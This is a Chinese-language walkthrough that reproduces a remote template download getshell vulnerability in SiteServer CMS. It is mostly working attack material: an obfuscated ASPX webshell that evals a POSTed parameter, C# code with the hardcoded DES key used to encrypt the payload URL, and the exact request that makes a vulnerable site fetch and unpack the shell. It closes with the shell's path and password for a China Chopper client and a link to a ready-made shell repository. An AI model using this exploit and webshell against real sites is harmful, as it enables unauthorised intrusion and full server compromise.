siteserver远程模板下载Getshell漏洞
此处不做分析,只做漏洞的复现。
参考:https://www.freebuf.com/articles/web/195105.html
准备工作:
需要一台公网服务器,一个有漏洞的站点(肯定的对8)。
第一步
先写一个马,此处是aspx站点,自然是aspx的马,但因为会有拦截等,所以构造如下的马。
<%@ Page Language="Jscript" Debug=true%>
<%
var a = Request.Form("abc");
var b = "un";
var a2 = "fe";
var c2 = "sa";
function fun ()
{
return a ;
}
eval(fun(),b+c2+a2);
%>
保存文件名为qwe.aspx。(为什么名字是这个,因为我喜欢。)
奥对了,这里建议直接在公网服务器上操作,没有为什么,因为方便。
然后我们把这个文件压缩。
zip suce.zip qwe.aspx
然后开启你的http服务。
python -m SimpleHTTPServer
访问你公网地址下的此文件,看是否成功。
为了不暴露自己的公网地址,我这里用127.0.0.1代替。
记录下这个zip文件的访问路径。
http://127.0.0.1:8000/suce.zip
然后我们对此链接进行混淆等操作。(不要问为什么,代码审计的结果,就是要这么做)
我们去www.runoob.com网站进行实例运行。
找一个C#的环境。
源代码:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace EncryptApplication
{ class Encrypt
{ static void Main(string[] args)
{
var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
var _inputString = "http://127.0.0.1:8000/suce.zip";
var _outString = ""; var _noteMessage = "";
byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
try{
var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey);
var des = new DESCryptoServiceProvider();
var inputByteArray = Encoding.UTF8.GetBytes(_inputString);
var ms = new MemoryStream();
var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write); cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
_outString = Convert.ToBase64String(ms.ToArray());
Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
catch (Exception error) { _noteMessage = error.Message; }
} } }
只修改红框内内容即可,点击运行。
获得一个字符串:ZjYIub/YxA3QempkVBK4CupITapC2oXvzqKM5jcWBRY=
我们对此字符串在进行一次混淆。
"+" => "0add0"
"=" => "0equals0"
"&" => "0and0"
"?" => "0question0"
"/" => "0slash0"
根据上面的规则,我们的字符串变为:ZjYIub0slash0YxA3QempkVBK4CupITapC2oXvzqKM5jcWBRY0equals0
准备阶段完成,接下来进入操作环节。
访问你的靶机,也就是你要检(gong)测(ji)的网站。
http://www.xx.com/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA3QempkVBK4CupITapC2oXvzqKM5jcWBRY0equals0&directoryName=suce
downloadUrl后添加你自己混淆后的网址。
directoryName后修改为你压缩文件的名称,例如我的是suce。
在浏览器中访问,出现站点模板下载成功,表示成功传上去了。
好了,接下来就是激动人心连接菜刀的时刻了,拿出你的菜刀。
http://www.xx.com/SiteFiles/SiteTemplates/suce/qwe.aspx 密码:abc
至此,结束。
分享一个shell
https://github.com/zhaoweiho/SiteServer-CMS-Remote-download-Getshell